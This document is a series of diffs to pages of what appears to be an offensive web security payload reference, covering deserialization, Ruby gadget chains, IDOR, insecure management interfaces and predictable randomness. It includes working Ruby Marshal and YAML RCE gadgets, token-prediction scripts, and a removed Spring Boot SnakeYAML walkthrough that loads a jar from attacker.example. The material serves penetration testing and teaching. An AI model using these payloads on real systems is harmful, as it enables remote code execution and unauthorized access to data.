* [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)

View File

@@ -2,30 +2,57 @@
> Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP > Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP
Check the following sub-sections, located in other files : ## Summary
* [Deserialization Identifier](#deserialization-identifier)
* [POP Gadgets](#pop-gadgets)
* [Labs](#labs)
* [References](#references)
## Deserialization Identifier
Check the following sub-sections, located in other chapters :
* [Java deserialization : ysoserial, ...](Java.md) * [Java deserialization : ysoserial, ...](Java.md)
* [PHP (Object injection) : phpggc, ...](PHP.md) * [PHP (Object injection) : phpggc, ...](PHP.md)
* [Ruby : universal rce gadget, ...](Ruby.md) * [Ruby : universal rce gadget, ...](Ruby.md)
* [Python : pickle, ...](Python.md) * [Python : pickle, PyYAML, ...](Python.md)
* [.NET : ysoserial.net, ...](DotNET.md)
| Object Type | Header (Hex) | Header (Base64) |
|-----------------|--------------|-----------------|
| Java Serialized | AC ED | rO |
| .NET ViewState | FF 01 | /w |
| Python Pickle | 80 04 95 | gASV |
| PHP Serialized | 4F 3A | Tz |
## POP Gadgets
> A POP (Property Oriented Programming) gadget is a piece of code implemented by an application's class, that can be called during the deserialization process.
POP gadgets characteristics:
* Can be serialized
* Has public/accessible properties
* Implements specific vulnerable methods
* Has access to other "callable" classes
## Labs
* [PortSwigger - Modifying serialized objects](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects)
* [PortSwigger - Modifying serialized data types](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types)
* [PortSwigger - Using application functionality to exploit insecure deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization)
* [PortSwigger - Arbitrary object injection in PHP](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php)
* [PortSwigger - Exploiting Java deserialization with Apache Commons](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons)
* [PortSwigger - Exploiting PHP deserialization with a pre-built gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain)
* [PortSwigger - Exploiting Ruby deserialization using a documented gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-ruby-deserialization-using-a-documented-gadget-chain)
* [PortSwigger - Developing a custom gadget chain for Java deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization)
* [PortSwigger - Developing a custom gadget chain for PHP deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization)
* [PortSwigger - Using PHAR deserialization to deploy a custom gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain)
* [NickstaDB - DeserLab](https://github.com/NickstaDB/DeserLab)
## References ## References
* [Github - ysoserial](https://github.com/frohoff/ysoserial) * [ExploitDB Introduction - Abdelazim Mohammed(@intx0x80) - May 27, 2018](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
* [Github - ysoserial.net](https://github.com/pwntester/ysoserial.net) * [Exploiting insecure deserialization vulnerabilities - PortSwigger - July 25, 2020](https://portswigger.net/web-security/deserialization/exploiting)
* [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md) * [Instagram's Million Dollar Bug - Wesley Wineberg - December 17, 2015](http://www.exfiltrated.com/research-Instagram-RCE.php)
* [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
* [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
* [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
* [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin
* [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg
* [Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel)
* [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals
* [Diving into unserialize() - Sep 19- Vickie Li](https://medium.com/swlh/diving-into-unserialize-3586c1ec97e)
* [.NET Gadgets](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) by Alvaro Muñoz (@pwntester) & OleksandrMirosh
* [ExploitDB Introduction](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)

View File

@@ -1,6 +1,14 @@
# Ruby Deserialization # Ruby Deserialization
## Marshal.load > Ruby deserialization is the process of converting serialized data back into Ruby objects, often using formats like YAML, Marshal, or JSON. Ruby's Marshal module, for instance, is commonly used for this, as it can serialize and deserialize complex Ruby objects.
## Summary
* [Marshal Deserialization](#marshal-deserialization)
* [YAML Deserialization](#yaml-deserialization)
* [References](#references)
## Marshal Deserialization
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5 Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
@@ -8,16 +16,18 @@ Script to generate and verify the deserialization gadget chain against Ruby 2.0
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
``` ```
## Yaml.load ## YAML Deserialization
Vulnerable code Vulnerable code
```ruby ```ruby
require "yaml" require "yaml"
YAML.load(File.read("p.yml")) YAML.load(File.read("p.yml"))
``` ```
Exploitation code Universal gadget for ruby <= 2.7.2:
```ruby
```yaml
--- !ruby/object:Gem::Requirement --- !ruby/object:Gem::Requirement
requirements: requirements:
!ruby/object:Gem::DependencyList !ruby/object:Gem::DependencyList
@@ -29,9 +39,56 @@ requirements:
spec: spec:
``` ```
Universal gadget for ruby 2.x - 3.x.
```yaml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
```
```yaml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: sleep 600
method_id: :resolve
```
## References ## References
- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/) * [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://www.elttam.com.au/blog/ruby-deserialization/)
- [Universal RCE with Ruby YAML.load - @_staaldraad ](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/) * [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online) * [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024](https://pentesterlab.com/exercises/ruby_ugadget/course)
* [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)
* [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)

View File

@@ -1,59 +1,129 @@
# Insecure Direct Object References # Insecure Direct Object References
> Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. - OWASP > Insecure Direct Object References (IDOR) is a security vulnerability that occurs when an application allows users to directly access or modify objects (such as files, database records, or URLs) based on user-supplied input, without sufficient access controls. This means that if a user changes a parameter value (like an ID) in a URL or API request, they might be able to access or manipulate data that they arent authorized to see or modify.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Exploit](#exploit) * [Methodology](#methodology)
* [Examples](#examples) * [Numeric Value Parameter](#numeric-value-parameter)
* [Common Identifiers Parameter](#common-identifiers-parameter)
* [Weak Pseudo Random Number Generator](#weak-pseudo-random-number-generator)
* [Hashed Parameter](#hashed-parameter)
* [Wildcard Parameter](#wildcard-parameter)
* [IDOR Tips](#idor-tips)
* [Labs](#labs)
* [References](#references) * [References](#references)
## Tools ## Tools
- Burp Suite plugin Authz * [PortSwigger/BApp Store > Authz](https://portswigger.net/bappstore/4316cc18ac5f434884b2089831c7d19e)
- Burp Suite plugin AuthMatrix * [PortSwigger/BApp Store > AuthMatrix](https://portswigger.net/bappstore/30d8ee9f40c041b0bfec67441aad158e)
- Burp Suite plugin Authorize * [PortSwigger/BApp Store > Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f)
## Exploit ## Methodology
IDOR stands for Insecure Direct Object Reference. It's a type of security vulnerability that arises when an application provides direct access to objects based on user-supplied input. As a result, attackers can bypass authorization and access resources in the system directly, potentially leading to unauthorized information disclosure, modification, or deletion.
**Example of IDOR**:
Imagine a web application that allows users to view their profile by clicking a link `https://example.com/profile?user_id=123`:
```php
<?php
$user_id = $_GET['user_id'];
$user_info = get_user_info($user_id);
...
```
Here, `user_id=123` is a direct reference to a specific user's profile. If the application doesn't properly check that the logged-in user has the right to view the profile associated with `user_id=123`, an attacker could simply change the `user_id` parameter to view other users' profiles:
```ps1
https://example.com/profile?user_id=124
```
![https://lh5.googleusercontent.com/VmLyyGH7dGxUOl60h97Lr57F7dcnDD8DmUMCZTD28BKivVI51BLPIqL0RmcxMPsmgXgvAqY8WcQ-Jyv5FhRiCBueX9Wj0HSCBhE-_SvrDdA6_wvDmtMSizlRsHNvTJHuy36LG47lstLpTqLK](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Insecure%20Direct%20Object%20References/Images/idor.png) ![https://lh5.googleusercontent.com/VmLyyGH7dGxUOl60h97Lr57F7dcnDD8DmUMCZTD28BKivVI51BLPIqL0RmcxMPsmgXgvAqY8WcQ-Jyv5FhRiCBueX9Wj0HSCBhE-_SvrDdA6_wvDmtMSizlRsHNvTJHuy36LG47lstLpTqLK](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Insecure%20Direct%20Object%20References/Images/idor.png)
The value of a parameter is used directly to retrieve a database record. ### Numeric Value Parameter
```powershell Increment and decrement these values to access sensitive information.
http://foo.bar/somepage?invoice=12345
```
The value of a parameter is used directly to perform an operation in the system * Decimal value: `287789`, `287790`, `287791`, ...
* Hexadecimal: `0x4642d`, `0x4642e`, `0x4642f`, ...
* Unix epoch timestamp: `1695574808`, `1695575098`, ...
```powershell **Examples**:
http://foo.bar/changepassword?user=someuser
```
The value of a parameter is used directly to retrieve a file system resource
```powershell
http://foo.bar/showImage?img=img00011
```
The value of a parameter is used directly to access application functionality
```powershell
http://foo.bar/accessPage?menuitem=12
```
## Examples
* [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789) * [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789)
* [HackerOne - IDOR on HackerOne Feedback Review - japz](https://hackerone.com/reports/262661) * [HackerOne - Delete messages via IDOR - naaash](https://hackerone.com/reports/697412)
### Common Identifiers Parameter
Some identifiers can be guessed like names and emails, they might grant you access to customer data.
* Name: `john`, `doe`, `john.doe`, ...
* Email: `john.doe@mail.com`
* Base64 encoded value: `am9obi5kb2VAbWFpbC5jb20=`
**Examples**:
* [HackerOne - Insecure Direct Object Reference (IDOR) - Delete Campaigns - datph4m](https://hackerone.com/reports/1969141)
### Weak Pseudo Random Number Generator
* UUID/GUID v1 can be predicted if you know the time they were created: `95f6e264-bb00-11ec-8833-00155d01ef00`
* MongoDB Object Ids are generated in a predictable manner: `5ae9b90a2c144b9def01ec37`
* a 4-byte value representing the seconds since the Unix epoch
* a 3-byte machine identifier
* a 2-byte process id
* a 3-byte counter, starting with a random value
**Examples**:
* [HackerOne - IDOR allowing to read another user's token on the Social Media Ads service - a_d_a_m](https://hackerone.com/reports/1464168)
* [IDOR through MongoDB Object IDs Prediction](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
### Hashed Parameter
Sometimes we see websites using hashed values to generate a random user id or token, like `sha1(username)`, `md5(email)`, ...
* MD5: `098f6bcd4621d373cade4e832627b4f6`
* SHA1: `a94a8fe5ccb19ba61c4c0873d391e987982fbbd3`
* SHA2: `9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08`
**Examples**:
* [IDOR with Predictable HMAC Generation - DiceCTF 2022 - CryptoCat](https://youtu.be/Og5_5tEg6M0)
### Wildcard Parameter
Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respond with the data of all the users.
* `GET /api/users/* HTTP/1.1`
* `GET /api/users/% HTTP/1.1`
* `GET /api/users/_ HTTP/1.1`
* `GET /api/users/. HTTP/1.1`
### IDOR Tips
* Change the HTTP request: `POST → PUT`
* Change the content type: `XML → JSON`
* Transform numerical values to arrays: `{"id":19} → {"id":[19]}`
* Use Parameter Pollution: `user_id=hacker_id&user_id=victim_id`
## Labs
* [PortSwigger - Insecure Direct Object References](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)
## References ## References
* [OWASP - Testing for Insecure Direct Object References (OTG-AUTHZ-004)](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004)) * [From Christmas present in the blockchain to massive bug bounty - Jesse Lakerveld - March 21, 2018](http://web.archive.org/web/20180401130129/https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
* [OWASP - Insecure Direct Object Reference Prevention Cheat Sheet](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet) * [How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton - November 9, 2017](https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
* [BUGCROWD - How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton](https://www.bugcrowd.com/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/) * [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - February 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
* [IDOR tweet as any user](http://kedrisec.com/twitter-publish-by-any-user/) by kedrisec * [IDOR - how to predict an identifier? Bug bounty case study - Bug Bounty Reports Explained - September 21, 2023](https://youtu.be/wx5TwS0Dres)
* [Manipulation of ETH balance](https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty) * [Insecure Direct Object Reference Prevention Cheat Sheet - OWASP - July 31, 2023](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
* [Viewing private Airbnb Messages](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/) * [Insecure direct object references (IDOR) - PortSwigger - December 25, 2019](https://portswigger.net/web-security/access-control/idor)
* [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - Feb 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782) * [Testing for IDORs - PortSwigger - October 29, 2024](https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/testing-for-idors)
* [Testing for Insecure Direct Object References (OTG-AUTHZ-004) - OWASP - August 8, 2014](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
* [The Rise of IDOR - HackerOne - April 2, 2021](https://www.hackerone.com/company-news/rise-idor)
* [Web to App Phone Notification IDOR to view Everyone's Airbnb Messages - Brett Buerhaus - March 31, 2017](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/)

View File

@@ -1,94 +1,42 @@
# Insecure management interface # Insecure Management Interface
## Springboot-Actuator > Insecure Management Interface refers to vulnerabilities in administrative interfaces used for managing servers, applications, databases, or network devices. These interfaces often control sensitive settings and can have powerful access to system configurations, making them prime targets for attackers.
> Insecure Management Interfaces may lack proper security measures, such as strong authentication, encryption, or IP restrictions, allowing unauthorized users to potentially gain control over critical systems. Common issues include using default credentials, unencrypted communications, or exposing the interface to the public internet.
Actuator endpoints let you monitor and interact with your application. ## Summary
Spring Boot includes a number of built-in endpoints and lets you add your own.
For example, the `/health` endpoint provides basic application health information.
Some of them contains sensitive info such as : * [Methodology](#methodology)
* [References](#references)
- `/trace` - Displays trace information (by default the last 100 HTTP requests with headers). ## Methodology
- `/env` - Displays the current environment properties (from Springs ConfigurableEnvironment).
- `/heapdump` - Builds and returns a heap dump from the JVM used by our application.
- `/dump` - Displays a dump of threads (including a stack trace).
- `/logfile` - Outputs the contents of the log file.
- `/mappings` - Shows all of the MVC controller mappings.
These endpoints are enabled by default in Springboot 1.X. Insecure Management Interface vulnerabilities arise when administrative interfaces of systems or applications are improperly secured, allowing unauthorized or malicious users to gain access, modify configurations, or exploit sensitive operations. These interfaces are often critical for maintaining, monitoring, and controlling systems and must be secured rigorously.
Note: Sensitive endpoints will require a username/password when they are accessed over HTTP.
Since Springboot 2.X only `/health` and `/info` are enabled by default. * Lack of Authentication or Weak Authentication:
* Interfaces accessible without requiring credentials.
* Use of default or weak credentials (e.g., admin/admin).
### Remote Code Execution via `/env` ```ps1
nuclei -t http/default-logins -u https://example.com
```
Spring is able to load external configurations in the YAML format. * Exposure to the Public Internet
The YAML config is parsed with the SnakeYAML library, which is susceptible to deserialization attacks.
In other words, an attacker can gain remote code execution by loading a malicious config file.
#### Steps ```ps1
nuclei -t http/exposed-panels -u https://example.com
nuclei -t http/exposures -u https://example.com
```
1. Generate a payload of SnakeYAML deserialization gadget. * Sensitive data transmitted over plain HTTP or other unencrypted protocols
- Build malicious jar **Examples**:
```bash
git clone https://github.com/artsploit/yaml-payload.git
cd yaml-payload
# Edit the payload before executing the last commands (see below)
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
```
- Edit src/artsploit/AwesomeScriptEngineFactory.java * **Network Devices**: Routers, switches, or firewalls with default credentials or unpatched vulnerabilities.
* **Web Applications**: Admin panels without authentication or exposed via predictable URLs (e.g., /admin).
```java * **Cloud Services**: API endpoints without proper authentication or overly permissive roles.
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("ping rce.poc.attacker.example"); // COMMAND HERE
} catch (IOException e) {
e.printStackTrace();
}
}
```
- Create a malicious yaml config (yaml-payload.yml)
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.example/yaml-payload.jar"]
]]
]
```
2. Host the malicious files on your server.
- yaml-payload.jar
- yaml-payload.yml
3. Change `spring.cloud.bootstrap.location` to your server.
```
POST /env HTTP/1.1
Host: victim.example:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://attacker.example/yaml-payload.yml
```
4. Reload the configuration.
```
POST /refresh HTTP/1.1
Host: victim.example:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
## References ## References
* [Springboot - Official Documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html) * [CAPEC-121: Exploit Non-Production Interfaces - CAPEC - July 30, 2020](https://capec.mitre.org/data/definitions/121.html)
* [Exploiting Spring Boot Actuators - Veracode](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) * [Exploiting Spring Boot Actuators - Michael Stepankin - Feb 25, 2019](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
* [Springboot - Official Documentation - May 9, 2024](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)

View File

@@ -0,0 +1,208 @@
# Insecure Randomness
> Insecure randomness refers to the weaknesses associated with random number generation in computing, particularly when such randomness is used for security-critical purposes. Vulnerabilities in random number generators (RNGs) can lead to predictable outputs that can be exploited by attackers, resulting in potential data breaches or unauthorized access.
## Summary
* [Methodology](#methodology)
* [Time-Based Seeds](#time-based-seeds)
* [GUID / UUID](#guid--uuid)
* [GUID Versions](#guid-versions)
* [Mongo ObjectId](#mongo-objectid)
* [Uniqid](#uniqid)
* [mt_rand](#mt_rand)
* [Custom Algorithms](#custom-algorithms)
* [References](#references)
## Methodology
Insecure randomness arises when the source of randomness or the method of generating random values is not sufficiently unpredictable. This can lead to predictable outputs, which can be exploited by attackers. Below, we examine common methods that are prone to insecure randomness, including time-based seeds, GUIDs, UUIDs, MongoDB ObjectIds, and the `uniqid()` function.
## Time-Based Seeds
Many random number generators (RNGs) use the current system time (e.g., milliseconds since epoch) as a seed. This approach can be insecure because the seed value can be easily predicted, especially in automated or scripted environments.
```py
import random
import time
seed = int(time.time())
random.seed(seed)
print(random.randint(1, 100))
```
The RNG is seeded with the current time, making it predictable for anyone who knows or can estimate the seed value.
By knowing the exact time, an attacker can regenerate the correct random value, here is an example for the date `2024-11-10 13:37`.
```python
import random
import time
# Seed based on the provided timestamp
seed = int(time.mktime(time.strptime('2024-11-10 13:37', '%Y-%m-%d %H:%M')))
random.seed(seed)
# Generate the random number
print(random.randint(1, 100))
```
## GUID / UUID
A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as `550e8400-e29b-41d4-a716-446655440000`. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.
### GUID Versions
Version identification: `xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx`
The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
| Version | Notes |
|----------|--------|
| 0 | Only `00000000-0000-0000-0000-000000000000` |
| 1 | based on time, or clock sequence |
| 2 | reserved in the RFC 4122, but omitted in many implementations |
| 3 | based on a MD5 hash |
| 4 | randomly generated |
| 5 | based on a SHA1 hash |
### Tools
* [intruder-io/guidtool](https://github.com/intruder-io/guidtool) - A tool to inspect and attack version 1 GUIDs
```ps1
$ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
UUID version: 1
UUID time: 2022-04-13 08:06:13.202186
UUID timestamp: 138691299732021860
UUID node: 91754721024
UUID MAC address: 00:15:5d:01:ef:00
UUID clock sequence: 2099
$ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
```
## Mongo ObjectId
Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of:
* **Timestamp** (4 bytes): Represents the ObjectIds creation time, measured in seconds since the Unix epoch (January 1, 1970).
* **Machine Identifier** (3 bytes): Identifies the machine on which the ObjectId was generated. Typically derived from the machine's hostname or IP address, making it predictable for documents created on the same machine.
* **Process ID** (2 bytes): Identifies the process that generated the ObjectId. Typically the process ID of the MongoDB server process, making it predictable for documents created by the same process.
* **Counter** (3 bytes): A unique counter value that is incremented for each new ObjectId generated. Initialized to a random value when the process starts, but subsequent values are predictable as they are generated in sequence.
Token example
* `5ae9b90a2c144b9def01ec37`, `5ae9bac82c144b9def01ec39`
### Tools
* [andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) - Predict Mongo ObjectIds
```ps1
./mongo-objectid-predict 5ae9b90a2c144b9def01ec37
5ae9bac82c144b9def01ec39
5ae9bacf2c144b9def01ec3a
5ae9bada2c144b9def01ec3b
```
* Python script to recover the `timestamp`, `process` and `counter`
```py
def MongoDB_ObjectID(timestamp, process, counter):
return "%08x%10x%06x" % (
timestamp,
process,
counter,
)
def reverse_MongoDB_ObjectID(token):
timestamp = int(token[0:8], 16)
process = int(token[8:18], 16)
counter = int(token[18:24], 16)
return timestamp, process, counter
def check(token):
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
return token == MongoDB_ObjectID(timestamp, process, counter)
tokens = ["5ae9b90a2c144b9def01ec37", "5ae9bac82c144b9def01ec39"]
for token in tokens:
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
print(f"{token}: {timestamp} - {process} - {counter}")
```
## Uniqid
Token derived using `uniqid` are based on timestamp and they can be reversed.
* [Riamse/python-uniqid](https://github.com/Riamse/python-uniqid/blob/master/uniqid.py) is based on a timestamp
* [php/uniqid](https://github.com/php/php-src/blob/master/ext/standard/uniqid.c)
Token examples
* uniqid: `6659cea087cd6`, `6659cea087cea`
* sha256(uniqid): `4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4`, `ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4`
### Tools
```py
import math
import datetime
def uniqid(timestamp: float) -> str:
sec = math.floor(timestamp)
usec = round(1000000 * (timestamp - sec))
return "%8x%05x" % (sec, usec)
def reverse_uniqid(value: str) -> float:
sec = int(value[:8], 16)
usec = int(value[8:], 16)
return float(f"{sec}.{usec}")
tokens = ["6659cea087cd6" , "6659cea087cea"]
for token in tokens:
t = float(reverse_uniqid(token))
d = datetime.datetime.fromtimestamp(t)
print(f"{token} - {t} => {d}")
```
## mt_rand
Breaking mt_rand() with two output values and no bruteforce.
* [ambionics/mt_rand-reverse](https://github.com/ambionics/mt_rand-reverse) - Script to recover mt_rand()'s seed with only two outputs and without any bruteforce.
```ps1
./display_mt_rand.php 12345678 123
712530069 674417379
./reverse_mt_rand.py 712530069 674417379 123 1
```
## Custom Algorithms
Creating your own randomness algorithm is generally not recommended. Below are some examples found on GitHub or StackOverflow that are sometimes used in production, but may not be reliable or secure.
* `$token = md5($emailId).rand(10,9999);`
* `$token = md5(time()+123456789 % rand(4000, 55000000));`
### Tools
Generic identification and sandwitch attack:
* [AethliosIK/reset-tolkien](https://github.com/AethliosIK/reset-tolkien) - Insecure time-based secret exploitation and Sandwich attack implementation Resources
```ps1
reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7"
reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"
```
## References
* [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
* [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
* [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de loutil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)*
